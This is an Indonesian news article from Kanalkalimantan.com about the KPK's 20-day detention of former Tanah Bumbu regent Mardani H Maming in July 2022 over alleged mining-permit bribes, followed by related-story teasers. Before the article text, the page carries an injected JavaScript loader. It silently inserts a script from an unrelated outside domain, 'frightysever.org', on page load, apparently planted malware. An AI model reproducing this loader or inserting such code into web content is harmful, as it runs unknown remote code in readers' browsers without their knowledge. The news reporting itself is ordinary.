(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Komisi Pemberantasan Korupsi (KPK) resmi menahan mantan Bupati Tanah Bumbu Mardani H Maming selama 20 hari ke depan, Kamis (28/7/2022) malam.
Penahanan tersebut terkait dugaan Maming telah menerima hadiah atau janji terkait pemberian izin tambang di Tanah Bumbu.
Wakil Ketua KPK Alexander Marwata menyatakan Maming akan ditahan selama 20 hari ke depan untuk kepentingan penyidikan. “Di rutan KPK Pomdam Jaya Guntur,” kata Alex dalam konferensi pers di Gedung Merah Putih KPK, Kamis (28/7/2022).
Alex mengatakan Maming akan ditahan per 28 Juli hingga 16 Agustus mendatang.
Baca juga : Bareskrim Polri Usut Dugaan Aliran Dana ACT ke Partai Politik
Sebelumnya, Maming yang juga Ketua DPD PDIP Kalimantan Selatan ini menyerahkan diri ke KPK setelah ditetapkan dalam Daftar Pencarian Orang (DPO). Maming datang ditemani sejumlah kuasa hukumnya sekitar pukul 14.00 WIB. Setelah menunggu beberapa saat di lobi, Maming naik ke ruang penyidikan di lantai dua Gedung KPK.
KPK menetapkan Maming sebagai buron karena dinilai tidak kooperatif. Maming diketahui tidak memenuhi dua panggilan pemeriksaan penyidik.
Pemeriksaan pertama dijadwalkan pada 14 Juli. Namun, Maming tidak hadir dengan alasan praperadilannya masih berlangsung di Pengadilan Negeri Jakarta Selatan (PN Jaksel). Kuasa hukumnya meminta jadwal pemeriksaan ditunda. Namun, KPK menyatakan praperadilan tersebut tidak mengganggu jalannya penyidikan. Sebab, praperadilan hanya menggugat aspek formil.
KPK kemudian menjadwalkan ulang pemeriksaan pada 21 Juli. Namun, Maming kembali absen. Komisi antirasuah kemudian menjemput paksa dan menggeledah apartemennya pada Senin 25 Juli. Namun, Maming tidak ditemukan di lokasi.
Baca juga : Program RT Mandiri Bergulir, 12 RT di Landasan Ulin Terima Bansos
KPK kemudian mengumumkan Maming telah masuk dalam daftar pencarian orang (DPO) pada 26 Juli. KPK juga meminta bantuan Bareskrim Polri untuk menangkap Maming.
Kuasa hukum Maming, Denny Indrayana kemudian mengaku telah mengirim surat ke KPK pada 25 Juli yang menyatakan kesiapan Maming datang ke Gedung Merah Putih pada 28 Juli. Maming mengaku bingung karena ditetapkan sebagai DPO. Sebab, pihaknya telah bersurat pada 25 Juli.
“Saya juga bingung tanggal 25 suratnya masuk tapi kenapa hari Selasa saya dinyatakan DPO. Padahal saya sudah mengirim surat dan koordinasi sama tim penyidik bahwa saya akan hadir tanggal 28,” ujar Maming saat tiba di KPK.
Dalam sidang praperadilan di PN Jaksel Tim Biro Hukum KPK menduga Maming telah menerima suap lebih dari Rp 104,3 miliar. Suap itu diterima selama tujuh tahun.
Bendahara Umum Pengurus Besar Nahdlatul Ulama (PBNU) non aktif itu juga diduga difasilitasi dan dibiayai membangun sejumlah perusahaan. Hal itu ia terima setelah memberikan izin pertambangan kepada PT Prolindo Cipta Nusantara.(Kanalkalimantan.com/kk)
Reporter : kk
Editor : cell
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.